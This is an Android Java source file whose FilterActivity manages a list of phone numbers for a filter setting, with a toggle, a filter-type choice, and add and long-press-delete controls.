package com.droidwatcher.activity;
import java.util.ArrayList;
import com.droidwatcher.R;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.modules.FilterModule;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemLongClickListener;
import android.widget.BaseAdapter;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.RadioButton;
import android.widget.RadioGroup;
import android.widget.TextView;
public class FilterActivity extends Activity {
private SettingsManager settings;
@Override
protected void onPause() {
super.onPause();
FilterModule.reset();
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.filter);
settings = new SettingsManager(this);
setupButtons();
renderList();
}
private void renderList(){
String fList = settings.filterList();
String[] arr = {};
if (fList.length() > 0){
arr = fList.split(",");
}
ArrayList<String> list = new ArrayList<String>();
for (Integer i = 0; i < arr.length; i++){
list.add(arr[i]);
}
ListView lv = (ListView) findViewById(R.id.number_list);
final NumberListAdapter adapter = new NumberListAdapter(this, list);
lv.setAdapter(adapter);
lv.setOnItemLongClickListener(new OnItemLongClickListener() {
public boolean onItemLongClick(AdapterView<?> parent, View view,
int position, long id) {
String num = (String) adapter.getItem(position);
settings.filterDel(num);
renderList();
return true;
}
});
}
private class NumberListAdapter extends BaseAdapter{
LayoutInflater lInflater;
ArrayList<String> objects;
public NumberListAdapter(Context context, ArrayList<String> list){
objects = list;
lInflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
}
public int getCount() {
return objects.size();
}
public Object getItem(int position) {
return objects.get(position);
}
public long getItemId(int position) {
return position;
}
public View getView(int position, View convertView, ViewGroup parent) {
View view = convertView;
if (view == null) {
view = lInflater.inflate(R.layout.filter_item, parent, false);
}
String number = (String) getItem(position);
((TextView) view.findViewById(R.id.item_number)).setText(number);
return view;
}
}
private void setupButtons(){
CheckBox cb = (CheckBox) findViewById(R.id.usefilterCB);
cb.setChecked(settings.isFilterEnabled());
cb.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
settings.useFilter(isChecked);
}
});
RadioGroup rg = (RadioGroup) findViewById(R.id.filterType);
String type = settings.filterType();
rg.clearCheck();
if (type.equals("0")){
((RadioButton) findViewById(R.id.type0)).setChecked(true);
}
else{
((RadioButton) findViewById(R.id.type1)).setChecked(true);
}
rg.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
public void onCheckedChanged(RadioGroup group, int checkedId) {
switch (checkedId) {
case R.id.type0:
settings.filterType("0");
break;
case R.id.type1:
settings.filterType("1");
break;
default:
break;
}
}
});
Button add = (Button) findViewById(R.id.addButton);
add.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
String num = ((EditText) findViewById(R.id.editNum)).getText().toString();
// if (num.length() != 10){
// Toast.makeText(FilterActivity.this, "Необходимо ввести ДЕСЯТИЗНАЧНЫЙ номер телефона без кода страны. Например: 9031234567", Toast.LENGTH_LONG).show();
// return;
// }
settings.filterAdd(num);
renderList();
}
});
}
}